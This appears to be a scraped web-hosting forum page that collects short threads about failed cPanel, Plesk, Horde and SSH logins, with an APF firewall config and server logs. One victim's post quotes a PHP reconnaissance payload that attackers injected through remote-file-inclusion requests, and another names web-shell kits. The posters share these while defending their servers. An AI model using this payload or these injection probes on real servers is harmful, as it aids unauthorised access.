CPanel Login Attempt Failed
Jun 9, 2009
I have not been able to login to my cPanel from my desktop which runs WinXP service Pack3. Both Firefox and Internet Explorer returns the following error message
Login Attempt Failed!
Also, I am unable to connect using Filezilla Client.
However, I am able to connect to the same cPanel on my colleague's desktop which runs WinXP service Pack3 using Firefox browser or IE. We both share the same internet modem.
- I have cleared all the cookies and private data on my desktop. Still the problem persist.
- I changed to a different user on my desktop, but still could not login.
- I changed my desktop IP address but still I could not log in.
I use DSLinux from within Innotek Virtual Box and I was able to login to the same cPanel with the same details that were rejected under WinXP.
Please anyone with a solution should please advise me on what to do. Thanks in advance.
It is not convenient going to my colleagues desk to access my cPanel.
View 15 Replies
ADVERTISEMENT
Nov 26, 2008
I keep seeing sa login failure on Event viewer Application log for MS SQL 2005. I'm tired of blocking off the failed attempt ip. A huge portion of them seem to come from China and Estern Euro. Should i just block off those region? Is there a better way for securing SQL2005?
View 1 Replies
View Related
Jan 2, 2007
Currently having a problem with proftpd on my centos plesk 8.1 server.
During large uploads, lets say around 10 MB the FTP connection fails within 5 minutes or so saying:
"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."
I have asked for help from my server provider but they have tried and are now unable to help.
I currently have the APF firewall in my server.
Has anyone experienced this?
Below is the APF config file that i currently have & the proftpd config files that i have, if anyone can help it would be really really appreciated
APF CONFIG:
Code:
#!/bin/sh
#
# APF 0.9.6 [apf@r-fx.org]
#
# NOTE: This file should be edited with word/line wrapping off,
# if your using pico please start it with the -w switch
# (e.g: pico -w filename)
#
##
# [Devel Mode]
# !!! Do not leave set to (1) !!!
# When set to enabled; 5 minute cronjob is set to stop the firewall. Set
# this mode off (0) when firewall determined to be operating as desired.
##
# Set firewall cronjob (devel mode)
# 1 = enabled / 0 = disabled
DEVEL_MODE="0"
##
# [Main]
##
# The installation path of APF; this can be changed but it has not
# been tested what would happen.
INSTALL_PATH="/etc/apf"
# Untrusted Network interface(s); all traffic on defined interface will be
# subject to all firewall rules. This should be your internet exposed
# interfaces. Only one interface is accepted for each value.
# NOTE: The interfacing structure is being worked towards support of MASQ/NAT
IFACE_IN="eth0"
IFACE_OUT="eth0"
# Trusted Network interface(s); all traffic on defined interface(s) will by-pass
# ALL firewall rules, format is white space or comma seperated list.
IFACE_TRUSTED=""
# Enable virtual network subsystem; creats independent policy ruleset for each
# ip on a system (pulls data from 'ip addr list') to /etc/apf/vnet/ip.rules
# Template is located in the vnet/ folder for rule files. This feature can
# reduce apf start/stop performance and is not recommend for systems with more
# than 255 (/24) ip's. [0 = Disabled / 1 = Enabled]
SET_VNET="0"
# Support Monolithic kernel builds [no LKM's]. This mode of operation is
# not really supported and you use at your own risk.
SET_MONOKERN="0"
# Verifies that all inbound traffic is sourced from a defined local gateway MAC
# address. All other traffic that does not match this source MAC address will be
# rejected as untrusted traffic. It is quite trivial to forge a MAC address and as
# such this feature executes NO default accept policy against this MAC address.
VF_LGATE=""
# Verifies that the IF and IFACE_TRUSTED interfaces are actually routed (/sbin/route)
# to something. If not then chances are APF will not start properly if at all.
VF_ROUTE="1"
# Verifies that crond service is running when DEVEL_MODE=1; if not then APF will not
# try to load as if lock-up occures no cron service to flush firewall
VF_CROND="1"
# Verifies that the current system uptime is greater than this value before APF
# can activate. This is to prevent on-boot lockup issues or delays due to excessive
# amount of firewall rules. Value is in seconds; should you wish to disable this
# feature, simply set VF_UTIME to 0 value. !! NOTE: APF WILL NOT START ON IT's OWN;
# IT WILL EXIT WITH FATAL ERROR BELOW SET UPTIME !!
VF_UTIME="0"
##
# [Packet Filtering/Handling]
##
# How to handle TCP packet filtering?
#
# RESET (sends a tcp-reset; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
TCP_STOP="DROP"
# How to handle UDP packet filtering?
#
# RESET (sends a icmp-port-unreachable; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
# PROHIBIT (send an icmp-host-prohibited)
UDP_STOP="DROP"
# How to handle all other packet filtering? (icmp,arp,igmp)
#
# DROP (drop the packet)
# REJECT (reject the packet)
DSTOP="DROP"
# The sanity options control the way packets are scrutinized as
# they flow through the firewall. The main PKT_SANITY option is a
# top level toggle for all SANITY options and provides general
# packet flag sanity as a pre-scrub for the other sanity options
PKT_SANITY="1"
# Block any packets that do not conform as VALID; this feature
# is safe for most but some may experience protocol issues with
# broken remote clients
PKT_SANITY_INV="0"
View 7 Replies
View Related
Jun 24, 2015
Two days ago we have upgrade a Plesk Panel 11.5 to 12.0.18. It have been working properly until today. Lots of mailboxes doesn't work with the error
Jun 24 13:30:12 hosting2 plesk_saslauthd[19704]: No such user 'mailbox@domain.tld' in mail authorization database
Jun 24 13:30:12 hosting2 plesk_saslauthd[19704]: failed mail authenticatication attempt for user 'mailbox@domain.tld' (password len=10)
The /usr/local/psa/admin/bin/mail_auth_view show only a few mailboxes.
The /usr/local/psa/admin/sbin/mchk --with-spam does´t fix the problem.
If we change the password of one of the crashed mailbox, it works until the /usr/local/psa/admin/sbin/mchk command is executed.
If we try to clear a new mailbox in one of the domains that doesn't work, we adquire the error "mailmng-outgoing failed"...
View 2 Replies
View Related
Nov 5, 2009
It has been 1 week, i am getting following email every day from my server.
Code:
5 failed login attempts to account root (system) -- Large number of attempts from this IP: 173-45-230-205.slicehost.net
Everyday a login attempt comes from new/different ip address.
Should i install CSF?
View 7 Replies
View Related
Jun 8, 2007
I have new server (fresh installation) running a Fresh Cpanel 11. and i created
domain test.domain.com and created email someone@test.domain.com with password
*****
But i can't login into horde webmail. I got error msg like this : "Login
failed because your username or password was entered incorrectly."
But i'm sure the password was correct. And i can't download the email via
Outlookexpress too.
View 3 Replies
View Related
Sep 26, 2014
Since the update from 11.5 to 12 working Horde login no longer, IMAP works otherwise perfect.
psa-horde.log:
ERR: HORDE [horde] FAILED LOGIN for info@xydomain.tld (info@xydomain.tld) [xx.xx.xx.xx] to horde [pid 20347 on line 216 of "/usr/share/psa-horde/login.php"]
xx.xx.xx.xx = Server-IP
Message from the Horde:
Login failed.
(Email / password are of course correct)
View 15 Replies
View Related
Feb 27, 2015
Today morning a logged in in plesk without problems and started Fail2Ban and closed it. Now I want logged in and get only 502 bad gateway. All Domains working fine and shell access working fine too.
What happen here? What can I do?
View 1 Replies
View Related
Sep 28, 2014
Every time I log on plesk 11.09 I get an email from admin saying that due to maximum number of failed login attempts for admin, the account was blocked for 30 minutes.
First, I do not get failed login attempts, I log in every time.
Two, the account is not blocked, I can log in, out and back in as many times as I want without problem except that I get this email everytime.
View 3 Replies
View Related
Jan 31, 2008
Just got a new additional VPS with WHM/cPanel.
Browse to www.mydomain.com/webmail and get login box > login accepted and taken to Horde/Squirrelmail choice screen > choose Squirrelmail and get login box ... login not accepted! > Retry and choose Horde ... login not accepted!
The login is correct and the results are the same when logging in as root, or through /cPanel or /Webmail.
View 3 Replies
View Related
Mar 19, 2008
I have reported this to BurstNET admin/abuse/NOC and have added a line to block them for now.
Does this belong to anyone??? Nslookup/dig reveals nothing.
This is my /var/log/messages
Mar 19 19:24:50 ginger sshd[11565]: Failed password for root from 66.197.245.241 port 46346 ssh2
Mar 19 19:24:50 ginger sshd[11565]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:51 ginger sshd[11567]: Failed password for root from 66.197.245.241 port 46407 ssh2
Mar 19 19:24:52 ginger sshd[11567]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:53 ginger sshd[11569]: Failed password for root from 66.197.245.241 port 46468 ssh2
Mar 19 19:24:53 ginger sshd[11569]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:55 ginger sshd[11571]: Failed password for root from 66.197.245.241 port 46531 ssh2
Mar 19 19:24:55 ginger sshd[11571]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT!
Mar 19 19:24:57 ginger sshd[11573]: Failed password for root from 66.197.245.241 port 46584 ssh2
Mar 19 19:24:57 ginger sshd[11573]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - !POSSIBLE BREAK-IN ATTEMPT
View 7 Replies
View Related
Feb 22, 2007
my referals logs that I keep on a website, I have come accross the following this morning, Is this some one who is trying to gain access to the server etc.
[url]
[url]
[url]
[url]
[url]
I have the Ip addresses that they have come from and it resolves to a Russian (I Think) website.
Im just looking through all the folders on the server now and no data has been comprimised as far as I can see and im going to use the query strings in order to block access and also deny access via ip address.
View 1 Replies
View Related
Jan 31, 2007
I have started seeing the following error in the Event Viewer every day:
"An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day."
The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?
View 3 Replies
View Related
Sep 13, 2007
see the log entries below:
LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i" "%{X-Forwarded-For}i""
1.2.3.4 - -[12/Sep/2007:11:15:38 +0900] "GET /~kjm/security/ml-archive/bugtraq/2006.04/msg00283.html//footer.inc.php?settings[footer]=[url]HTTP/1.1" 404 268 "-" "libwww-perl/5.808" "-"
1.2.3.4 - - [12/Sep/2007:11:16:00 +0900] "GET //footer.inc.php?settings[footer]=[url] HTTP/1.1" 404 213 "-" "libwww-perl/5.808" "-"
What can you say from the above log entries?
View 1 Replies
View Related
Jul 20, 2008
I am having issue with my server. Someone is trying to execute some code and possibly trying mysql injection method.
I have pasted the code below.
Please suggest what can be done in this case.
Regards
Gagandeep
+++++++++++
The person tried to use different IPs and different websites to execute the code.
URL >> IP
[url]
[url]
[url]
ftp://212.11.127.86/tmp/trem/1? >> 87.118.118.156
There are many such queries under my logs.
The person is using different IPs, so, i can't even block that many IPs.
++++++++++++
The CODE
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
?>
View 5 Replies
View Related
May 30, 2007
Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place?
Is this stuff largely ignored?
Is anyone else doing this?
Is there an easier way?
View 14 Replies
View Related
Jul 8, 2007
A new client has just opened up an account and the first thing hes installed at a few scripts called r57shell and c99shell. I'm not very familiar with these two scripts, but by the looks of them their root kits of some sort. Amd I correct in thinking this?
The account has been susspended for the time being.
View 12 Replies
View Related
Nov 14, 2008
i have a problem with my box .. after i reboot the server the login to whm or cpanel didn't work ... everytime i must use this command
/etc/rc.d/init.d/iptables stop
then the logins work successfully
so .. what's the problem with the iptables with me?
View 6 Replies
View Related
Apr 23, 2008
I have someone on my server that is having problems login to Cpanel and WHM.
They can view all websites on the server even theirs, but they cannot login.
They keep getting: Firefox cannot establish a connection with the server.
Even in IE they get a error message.
They even tried with "theirdomain.com/cpanel" and got the same thing.
They are using a rounter also, so I told them to try unhooking that, but my main question is, it doesn't seem that their IP is blocked as I checked, so is there anything else on the server that could cause this or is it something on their end?
View 8 Replies
View Related
Mar 1, 2008
I've unmanaged server, everything running well
but I can't login into cpanel/whm I tried :
>myip:2086
>myip:2087
>myip:2082
>myip:2083
when I try to login the [The connection was reset]Firefox msg.
I can login through ssh,and i tried to restart cpanel service and I update it...
View 11 Replies
View Related
